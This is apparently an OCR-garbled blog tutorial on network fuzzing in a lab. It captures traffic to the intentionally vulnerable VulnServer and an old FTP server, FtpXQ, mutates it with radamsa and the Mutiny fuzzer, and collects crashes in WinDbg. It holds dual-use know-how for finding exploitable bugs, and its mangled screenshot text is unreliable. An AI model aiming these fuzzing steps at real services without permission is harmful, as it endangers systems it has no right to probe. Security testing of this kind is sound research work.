dumpapp_187c_2021-01-07_04-25-23-18...  1,/7/2021 4:25 AM DMP File
dumpapp_187c_2021-01-07_04-25-25-03...  1/7/2021 4:25 AM DMP File
dumpapp_ 187c_2021-01-07_04-25-27-95...  1/7/2021 4:25 AM DMP File
dumpapp_187c_2021-01-07_04-25-29-14...  1/7/2021 4:25 AM DMP File
|| dumpapp 187c_2021-01-07_04-25-31-85...  1/7/2021 4:25 AM DMP File
=] targetapp_187c_2021-01-07_04-25-02-116... 1/7/2021 4:25 AM Text Document
=] targetapp_187c_2021-01-07_04-25-03-818... 1/7/2021 4:25 AM Text Document
= targetapp_187c_2021-01-07_04-25-05-280... 1/7/2021 4:25 AM Text Document
=] targetapp_187c_2021-01-07_04-25-07-804... 1/7/2021 4:25 AM Text Document
=] targetapp_187c_2021-01-07_04-25-08-935... 1/7/2021 4:25 AM Text Document

L}

L}

L

L

L}

L}

Looks like we understand now how to prepare a very simple (clear-text based) fuzzing scenario for
the protocol testing of our example app. Let’s continue below.



Pick Packet

At this stage we can easily generate a bunch of fuzzing example cases and leave it for a while with
radamsa to verify if we can find anything that could be exploitable. But it wasn’t enough for me so |
decided to move forward with something else: Linux VM and Wireshark (tshark can be used as well if
you want — your choice). We should be somewhere here[5]:

© & hitpsy//github.com/Cisco-Talos/mutiny-fuzzer

Mutiny Fuzzing Framework

The Mutiny Fuzzing Framework is a network fuzzer that operates by replaying PCAPs through a mutational fuzzer. The
goal is to begin network fuzzing as quickly as possible, at the expense of being thorough.

The general workflow for Mutiny is to take a sample of legitimate traffic, such as a browser request, and feed it into a
prep script to generate a .fuzzer file. Then, Mutiny can be run with this .fuzzer file to generate traffic against a target
host, mutating whichever packets the user would like.

There are extensions that allow changing how Mutiny behaves, including changing messages based on input/output,
changing how Mutiny responds to network errors, and monitoring the target in a separate thread.

Mutiny uses Radamsa to perform mutations.

Preparing:

If everything goes well — after a while we should be somewhere here:


https://github.com/Cisco-Talos/mutiny-fuzzer

[l |tcp.port == 9999

No. Time Source Destination Protocol Length Info
1 0.0g0E000ER 10.0.2.1%5 192.168.1.10 TCP 76 38378 — 9999 [=5
2 0.091652071  192.168.1.10 10.8.2.15 TCP 62 9999 - 38370 [E
3 p.0e1713111 10.8.2.15 192.168.1.10 TCP 56 3837e - 9999 [A
4 0.082965679 16.8.2.15 192.168.1.10 TCP 71 38370 - 9999 [F
5 0.083469074 192.168.1.10 16.8.2.15 TCP 62 9999 - 38370 [A
6 0.805836981 192.168.1.10 10.8.2.15 TCP 187 9999 - 38370 [F
7 0.805860998 10.8.2.15 192.168.1.10 TCP 56 38370 - 9999 [A
8 0.006146508 192.168.1.10 16.8.2.15 TCP 73 9999 - 38370 [F
9 p.PRE166TE2 18.8.2.15 192.168.1.10 38376 - 9999 [A

root@ubuntu18: fhomefc/tools/radamsa
Pl File Edit View Search Terminal Help

root@ubuntull: fhome/c# cd tools/radamsa/

omefc/tools/radamsa# nc 192.168.1.10 9999 = test reg@l.txt

root@ubuntuls
Welcome to Vulnerable Server! Enter HELP for help.
KSTET SUCCESSFUL

According to the docs[3] now we should save this request to the PCAP file. Let’s do that:

Look in: S /home/cftools/mutiny-fuzzer "
& computer MName * Size Type
] PR backend Folde
1 ™ root = .
) = mutiny classes Folde
7 0.005860998 8 sample_apps Folde
8 0.006146588 F tests Folde
- 9 0.006166782 ) util Folde
|
» Frame 4: 71 bytes
+ Linux cooked capti
+ Internet Protocol
» Transmission Cont) File name: |pcap02
» Data (15 bytes)
Export as: | Wireshark/tcpdumpy... - pcap
Packet Range Com
Captured (e Displayed
All packets 9
10ED B0 04 @O 01 08 # Selected packets only 1
a1 45 @@ 0@ 37 55

So far, so good. Let’s continue below:


https://github.com/Cisco-Talos/mutiny-fuzzer

@ root@ubuntul18:; /home/c/tools/mutiny-fuzzer

gl Chtests\wulnserverwulnserver.exe - WinDbg:6.11.0001.404 X386

File Edit View

Debug

Window

Help

Command - C\tests\vuln

ModLoad: 75£60000 7
ModLoad: 62500000 6
ModLoad: 77ab0000 7
ModLoad: 77220000 7
ModLoad: 77660000 7
ModLoad: 76640000 7
(774 3f4): Break in

=ax=00000000 =bx=00
=ip=77bhiekle ==sp=00
c==001b =s=0023 d
*%% ERROR: Synbol f
ntdl]l I TdrVerifyInag
77bfetle co
Processing initial
0:000> $5:< cintest

ModLoad: ¥5710000 7
ModLoad: 7S5E£b0000 7
HodLoad: 77a60000 7
ModLoad: Fe6e=0000 7
ModLoad: 77710000 7

B Chests\vulnservervulnserver.exe

Starting vulnserver version 1.
Called essential function dll vers

This is vulnerahle sof twar
Do not allow access from untrusted

Waiting for client connections...

Received a client connection from |
Waiting for client connections...

Vindowshsystem32\cmd.

C:“Program Files“Dehugg
FuzzlabN\autorun . txt"

Waiting... ;]

QQ + Com)

Organize + Inclug

“ Favorites
Bl Desktop
& Downleads

] Recent Places

o Libraries
)
[ Pictures

BE videos

Documents

Music




File Edit Vievn Debug Window Help

c Inserver.exe
Hodl) nt connection

Modl| pEE 3 ent connections.
Hod] ing... .
ModI] cei nt Dnnnectll?n
HodT| W r ent connection:
Connection closing...
Received a client connection

t connections...

HodT| N - t connections...

L
connection from 10.8.2_2:

g...
fod]) i connection from 18.8.2.2:

PR
(L[l v Computer » Local Disk () » tests » fuzzleb
Organize ~  Include in library = Sharewith = New folder
¢ Favorites Heme
B Deskitop [ targetapp_0428_2021-01-07_11-53-43-541...
& Downloads ] dumpapp_0428_2021-01-07_11-53-43-55...
i Recent Places . autorunbt
74 Libraries
& Documents
&) Music
&= Pictures

B videos
1% Computer

€& Network

Great! ;] Let’s continue in the next section below.




Packet Poked

| decided to recreate all of those steps this time for some ,, simple example network service” — guess
what — yep, it will be FTP server ;) Here we go:

A\ \F .exe - Win :6.11. . = |1
'?%I CAFtpXQ\FtpXQ WinDbg:6.11,0001.404 X386 [ ”_
File Edit View Debug Window Help

= m—— ][ 3
MM 6 FroxQ - [e-PC] [10.0.215] =] @) = (&=
ModLoad: 1.
Mgdlg:d: File Opticns Services Connections  Help

ModLoad:

ﬁogioagf TCP  10.0.2.1% z1 2.0.0.0 3 Tictening

Hgdlg:d: ICE 10.0.2.15 -10471 10.0.2.2 21

ModLoad: )

ModLoad:

ModLoad: '2

ModLoad : -

ModLoad: —

ModLoad: O

ModLoad: ‘2

ModLoad: m

ModLoad: =

ModLoad: —

ModLoad: 1

ModLoad: N |

HodLoad: =

(84c. Bal) B c
(84c.8al) 7

(84c.8al) ~

(84c.8al)

= L

< | — T D
|*BUSY#* [Debuggee is running. . .

| use some very old FTP server | found available online (called FtpXQ). When it’s installed we can
create a ‘simple request’ to the ftp server. (I used a normal ‘login as anonymous user’ request ;).)
After you’ll pickup the packet you want from the PCAP file and prepare it using mutiny_prep.py
script, you should be somewhere here:

ile Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
[ P . EBE a == o n7DEP TUruchomional - Oracle VI tualBox
Hi@mERE SO2EFE2 = A]QAQE
[tcp.stream eq 0 |
Time Destination Protocol Lengtt Info
1 0.009800000 192.168.1. P —~—— 5 = = —
3 0.001720398  102.166.1.10 g () =Ll < prooram Filec + RhinoSoft + FTP Vovager + [ 4a | [ Seqrh FTE Vo
3 8.881776355 10.8.2.15
4 0.015072263 192.168.1.18 Orgd
3 0.01%10004 100215 1o2.100.1.10 ) - (L)) 7 » Computer » Local Disk (C: » Program Files » [CoreFTP] ~ [ 43 |[ Seare
7 2:7@537782@ lgé.iﬁé.i.lﬂ 10.{:1.2 Z.lS. 0 24
8 2.714367260 192.168.1.18 10.0.2.15 n Organize v Include in library + Share with MNew folder
9 2.714399661 10.0.2.15 192.168.1.10 TCP q
10 6.430782950  10.8.2.15 192.168.1.10 FTP I Favorites R ) N )
11 6.431547999  192.168.1.10 10.0.2.15 TCP -  Faverite .;I CAFtpXQ\FtpXQ.exe - WinDbgi6.11.0001 404 X86
12 6.442847638 192.168.1.10 10.8.2.15 FTP B Deskiof  File Edit View Debug  Window Help
13 6.447RR1732  10.0.7.15 192.168.1.10 TP i Downlg
Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) of i,
Ethernet 1T, Src: PcsCompu_bi:41:9e (08:00:27:b1:41:9e), Dst: Realted El Recent @ FipiQ - [c-PCI [100.215]
Internet Protecol Version 4, Src: 10.0.2.15, Dst: 192.168.1.10 File Options Services Connections Help
Transmission Control Protocol, Src Port: 55880, Dst Port: 21, Seq: @ c==001b
sl Libraries
A *xx ERROH
=) Docum| | [Winsockg!
J' Mus 406150be
@' Music | lepeating
Pict Dunp sucd
&) Pietures | | T 4EED
H videos | | [WARNING
0012f074
0012f0bE
8 Compute| | [#** ERROH
0012f140
608 52 54 89 12 35 B2 08 80 45 10 0012£19¢
80 3c 3f b7 40 80 40 06 2d 34 0a 0B 02 BF c0 a8 € Netwrk | | |*** ERROR
91 Ga da 48 00 15 b0 6c 21 4e @O 00 00 B0 a0 02 0012244
fa 0 cd ef 00 B0 62 04 0G5 b4 04 02 08 Pa 61 59 0o12i25¢
4e 34 @8 0O 60 B0 B1 63 03 07 0012{bb8
0012fbfg
0012fc28
0012fc90
%xx ERROH
19| ]« W

As you can see below we can quickly grab some very first results:



|| dumpapp_0d80_2021-01-07_22-31-51-35.. 1/7/202110:31PM DMPFi
= targetapp_0d80_2021-01-07_22-31-51-33... /172021 10:31 PM Text Do
|| dumpapp_0d80_2021-01-07_22-31-46-05... 1,/7/202110:31PM  DMP Fi
=] targetapp_0d80_2021-01-07_22-31-46-03..  1/7/202110:31 PM  Text Do
|| dumpapp_0d80_2021-01-07_22-31-41-90... 1,7/202110:31 PM DMPFi
\=| targetapp_0d80_2021-01-07_22-31-41-88... 1/7/202110:31 PM  Text Do
|| dumpapp_0d80_2021-01-07_22-31-36-93... /2021 10:31 PM DMP Fi
| targetapp_0d80_2021-01-07_22-31-36-91... /2021 10:31 PM - Text Do
|| dumpapp_0d80_2021-01-07_22-31-33-04... /172021 10:31 PM DMP Fi
| targetapp_0d480_2021-01-07_22-31-33-02... /20211031 PM - Text Do
|| dumpapp_0d80_2021-01-07_22-31-28-97... 1/7/202110:31PM  DMP Fi
=] targetapp_0d80_2021-01-07_22-31-28-94... 1/7/202110:31 PM  Text Do
|| dumpapp_0d80_2021-01-07_22-31-25-16...  1/7/202110:31 PM  DMP Fi
= targetapp_0d80_2021-01-07_22-31-25-13... /172021 10:31 PM Text Do
|| dumpapp_0d80_2021-01-07_22-31-20-82... 1/7/202110:31PM  DMP Fi
= targetapp_0d80_2021-01-07_22-31-20-90... /172021 10:31 PM Text Do
|| dumpapp_0d80_2021-01-07_22-31-16-41... 1/7/202110:31PM DMPFi
= targetapp_0d80_2021-01-07_22-31-16-37... /2021 10:31 PM Text Do
| auteruntd 1/7/2021 4:13 AM Text Do

Looks pretty nice if you're looking for some quick results to investigate. Maybe you’ll find it useful. ;)

Cheers!
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Links and resources | found interesting when | was preparing this article:

1 — Previous miniarts

2 — Download VulnServ

3 — Download radamsa

4 - Fuzzing automation with Windbg

3 - mutiny-fuzzer by Cisco Talos
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https://thegreycorner.com/vulnserver.html
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In The End

Thank you. | appreciate it.

It was a pleasure. ;]

Cheers

o/


https://twitter.com/codysixteen
https://twitter.com/codysixteen

